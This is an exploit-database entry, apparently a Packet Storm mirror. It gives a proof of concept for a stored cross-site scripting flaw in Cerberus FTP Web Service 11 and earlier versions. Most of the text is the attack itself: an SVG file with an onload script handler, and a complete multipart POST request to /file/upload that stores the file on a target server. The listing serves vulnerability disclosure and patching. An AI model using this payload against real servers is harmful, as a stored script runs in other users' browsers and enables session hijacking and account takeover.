Exploit for Cerberus FTP Web Service 11 Cross Site Scripting

Name: Exploit for Cerberus FTP Web Service 11 Cross Site Scripting
Rating: 5 (249 reviews)
2021-06-11 | CVSS -0.0
## https://sploitus.com/exploit?id=PACKETSTORM:163081
# Exploit Title: Cerberus FTP web Service 11 - 'svg' Stored Cross-Site Scripting (XSS)  
# Date: 08/06/2021  
# Exploit Author: Mohammad Hossein Kaviyany  
# Vendor Homepage: www.cerberusftp.com  
# Software Link: https://www.cerberusftp.com/download/  
# Version:11.0 releases prior to 11.0.4, 10.0 releases prior to 10.0.19, 9.0 and earlier  
# Tested on: windows server 2016  
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About Cerberus FTP Server (From Vendor Site) :   
  
Cerberus FTP Server is a secure Windows file server with FTP, FTPS, SFTP, HTTPS,   
FIPS 140-2 validated, and Active Directory and LDAP authentication.  
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Exploit Detailes :  
  
This stored XSS bug happens when a user uploads an svg file with the following content :  
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>  
  
Exploit POC :  
  
# Vulnerable Path : /file/upload  
# Parameter: files (POST)  
# Vector: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>  
  
#Payload:   
  
POST /file/upload HTTP/1.1  
Host: target.com  
Connection: close  
Content-Length: 484  
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"  
Accept: application/json, text/javascript, */*; q=0.01  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAAM6ZtOAsyklo6JG  
Origin: https://target.com  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://target.com/file/d/home/  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: cftpSID=U02_5UCTumW3vFtt5PrlWwoD4k9ccxW0A87oCM8-jsM  
  
------WebKitFormBoundaryAAM6ZtOAsyklo6JG  
Content-Disposition: form-data; name="cd"  
  
/home  
------WebKitFormBoundaryAAM6ZtOAsyklo6JG  
Content-Disposition: form-data; name="csrftoken"  
  
z-Zlffq0sPaJErxOsMgL4ITcW1x3AuZo3XlZRP5GcKg  
------WebKitFormBoundaryAAM6ZtOAsyklo6JG  
Content-Disposition: form-data; name="files[]"; filename="file.svg"  
Content-Type: image/svg+xml  
  
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>  
  
------WebKitFormBoundaryAAM6ZtOAsyklo6JG--  
  
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